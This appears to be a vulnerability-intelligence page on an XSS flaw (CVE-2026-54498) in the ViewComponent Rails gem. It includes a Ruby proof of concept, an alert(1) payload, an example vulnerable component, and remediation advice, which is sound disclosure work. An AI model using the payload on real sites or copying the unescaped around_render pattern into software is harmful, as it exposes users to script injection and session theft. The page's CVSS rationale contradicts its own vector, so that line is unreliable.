ViewComponent CVE-2026-54498
HIGHSeverity by source
AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N
Requires a non-default downstream pattern (around_render returning attacker data), so AC:H; unauthenticated attacker delivers payload but victim must view the page (PR:N/UI:R); XSS runs in the browser giving limited scope-changed confidentiality/integrity (S:C/C:L/I:L).
Primary rating from GitHub Advisory.
CVSS VectorGitHub Advisory
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N
Lifecycle Timeline
3DescriptionGitHub Advisory
Summary
ViewComponent::Base#around_render can return HTML-unsafe strings that bypass the escaping behavior applied to normal #call return values. This creates an XSS risk when downstream applications use around_render to wrap, replace, instrument, or conditionally return content that includes user-controlled data.
The issue is especially dangerous in collection rendering because ViewComponent::Collection#render_in joins the per-item results and marks the entire output as html_safe, converting raw unsafe output into a trusted ActiveSupport::SafeBuffer.
Affected Code
Validated against:
- Repository commit:
eea79445 - Ruby:
3.4.9
Relevant locations:
lib/view_component/base.rbrender_inaround_render__vc_maybe_escape_htmllib/view_component/template.rbInlineCall#safe_method_name_calllib/view_component/collection.rbCollection#render_in
Key code paths:
# lib/view_component/base.rb
around_render do
render_template_for(@__vc_requested_details).to_s
end# lib/view_component/template.rb
proc do
__vc_maybe_escape_html(send(m)) do
Kernel.warn(...)
end
end# lib/view_component/collection.rb
components.map do |component|
component.render_in(view_context, &block)
end.join(rendered_spacer(view_context)).html_safeRoot Cause
Normal inline #call output is passed through __vc_maybe_escape_html, which escapes HTML-unsafe strings. However, when around_render itself returns a string, the returned value becomes the component render result without being passed through the same HTML-safety boundary.
This creates two different output-safety behaviors:
#callreturning unsafe string: escaped#around_renderreturning unsafe string: raw
Collection rendering then amplifies the issue by calling .html_safe on the joined result.
Proof of Concept
Run from the repository root:
$LOAD_PATH.unshift File.expand_path("lib", Dir.pwd)
require "action_controller/railtie"
require "rack/mock"
require "view_component/base"
class PocController < ActionController::Base; end
def vc
c = PocController.new
c.set_request!(ActionDispatch::Request.new(Rack::MockRequest.env_for("/poc")))
c.set_response!(ActionDispatch::Response.new)
c.view_context
end
PAYLOAD = "<img src=x onerror=alert(1)>"
class UnsafeCallComponent < ViewComponent::Base
def initialize(payload:) = @payload = payload
def call = @payload
end
class UnsafeAroundComponent < ViewComponent::Base
def initialize(payload:) = @payload = payload
def call = "SAFE"
def around_render = @payload
end
class UnsafeAroundCollectionComponent < ViewComponent::Base
with_collection_parameter :payload
def initialize(payload:) = @payload = payload
def call = "SAFE"
def around_render = @payload
end
view_context = vc
normal = UnsafeCallComponent.new(payload: PAYLOAD).render_in(view_context)
around = UnsafeAroundComponent.new(payload: PAYLOAD).render_in(view_context)
collection = UnsafeAroundCollectionComponent.with_collection([PAYLOAD]).render_in(view_context)
puts "normal_call=#{normal}"
puts "normal_call_raw=#{normal.include?(PAYLOAD)} html_safe=#{normal.html_safe?}"
puts "around_render=#{around}"
puts "around_render_raw=#{around.include?(PAYLOAD)} html_safe=#{around.html_safe?}"
puts "collection=#{collection}"
puts "collection_raw=#{collection.include?(PAYLOAD)} html_safe=#{collection.html_safe?}"
c = PocController.new
c.set_request!(ActionDispatch::Request.new(Rack::MockRequest.env_for("/poc")))
c.set_response!(ActionDispatch::Response.new)
out = c.render_to_string(UnsafeAroundComponent.new(payload: PAYLOAD))
puts "controller_render_to_string=#{out}"
puts "controller_raw=#{out.include?(PAYLOAD)} html_safe=#{out.html_safe?}"Observed output:
normal_call=<img src=x onerror=alert(1)>
normal_call_raw=false html_safe=true
around_render=<img src=x onerror=alert(1)>
around_render_raw=true html_safe=false
collection=<img src=x onerror=alert(1)>
collection_raw=true html_safe=true
controller_render_to_string=<img src=x onerror=alert(1)>
controller_raw=true html_safe=falseThe control case confirms that normal #call output is escaped. The around_render cases confirm that the same payload is emitted raw.
Exploit Scenario
A downstream application defines a component that uses around_render for tracing, layout wrapping, feature-flag fallback, error fallback, or instrumentation. If the hook returns a string containing request data, model attributes, CMS content, markdown output, or other attacker-controlled values, the value can be rendered as raw HTML.
Example vulnerable pattern:
class BannerComponent < ViewComponent::Base
def initialize(message:)
@message = message
end
def call
"fallback"
end
def around_render
"<div class=\"banner\">#{@message}</div>"
end
endIf message is user-controlled, scriptable HTML reaches the browser.
Impact
Successful exploitation allows XSS in applications using affected components. Depending on application context, impact can include:
- session or token theft where cookies/tokens are accessible
- authenticated actions as the victim
- CSRF bypass through same-origin script execution
- exfiltration of page data
- credential phishing or UI redress inside trusted application origin
The collection path is particularly risky because it converts the joined raw output to html_safe, which can suppress later escaping.
Preconditions
- The application defines or uses a component overriding
around_render. around_renderreturns or wraps attacker-influenced HTML-unsafe content.- The component is rendered in a browser-visible response.
- Higher impact when rendered through
ViewComponent::Collectionor controller/direct rendering.
Chaining Potential
This finding can chain with:
- preview routes or examples that accept URL parameters and render components
- unsafe markdown or CMS content rendered inside
around_render - CSP-disabled preview routes
- applications that expose admin-only pages containing affected components
Remediation
Apply the same HTML-safety enforcement to around_render return values that is applied to normal inline #call output.
Possible approaches:
- Wrap the result of
around_renderwith__vc_maybe_escape_htmlwhen the current template is HTML. - Require
around_renderto return anActiveSupport::SafeBufferto opt into raw HTML. - In collection rendering, avoid blindly calling
.html_safeon joined component outputs unless each item has been normalized through the same safety boundary.
AnalysisAI
Stored/reflected XSS in the ViewComponent Rails gem (versions >= 4.0.0, < 4.12.0) arises because HTML-unsafe strings returned from a component's around_render hook bypass the automatic escaping applied to normal #call output, letting attacker-controlled data reach the browser as raw HTML. The flaw is amplified in collection rendering, where Collection#render_in joins per-item output and blindly marks it html_safe, laundering unsafe content into a trusted SafeBuffer. …
Unlock full vulnerability intelligence
- Risk assessment & exploitation conditions
- Attack chain visualization
- Remediation with exact patch versions
- Threat intelligence from 22 sources
- Personal watchlist & email alerts
Free forever · No credit card required
Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata
Vulnerability AssessmentAI
| Exploitation | Exploitation requires that the target application defines or uses a component overriding ViewComponent::Base#around_render, and that this hook returns or wraps HTML-unsafe content derived from attacker-influenced values (request parameters, model attributes, CMS/markdown content). … Additional conditions and limiting factors are described in the full assessment. |
| Risk Assessment | The supplied CVSS 3.1 vector (AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N, base 8.7) rates this High, but that score overstates real-world exploitability because it treats the flaw as if it always applies. … Full risk analysis with EPSS, KEV, and SSVC signal comparison available after sign-in. |
| Exploit Scenario | An application uses around_render in a component (e.g., a BannerComponent that returns "<div class=\"banner\">#{@message}</div>") for layout wrapping, feature-flag fallback, or instrumentation, and @message carries user-controlled data such as a request parameter or CMS field. An attacker supplies a payload like <img src=x onerror=alert(1)>, which the hook emits as raw HTML, executing script in the victim's browser under the application's origin. … |
| Remediation | Vendor-released patch: 4.12.0 - upgrade the view_component gem to >= 4.12.0 (release https://github.com/ViewComponent/view_component/releases/tag/v4.12.0, fixing commit https://github.com/ViewComponent/view_component/commit/48e5fd2d602344c7d33019fbc5c8b087e315bb78), which now runs around_render return values through __vc_maybe_escape_html (emitting a warning) and switches Collection#render_in to safe_join so per-item output is escaped rather than laundered into a SafeBuffer. … Detailed patch versions, workarounds, and compensating controls in full report. |
Recommended ActionAI
Within 24 hours, audit all Ruby on Rails applications to identify which systems use ViewComponent gem versions 4.0.0 through 4.11.x by checking Gemfile.lock and dependency manifests. …
Sign in for detailed remediation steps and compensating controls.
Threat intelligence, references, and detailed analysis are available after sign-in.
Same weakness CWE-79 – Cross-site Scripting (XSS)
View allShare
External POC / Exploit Code
Leaving vuln.today
GHSA-97jw-64cj-jc58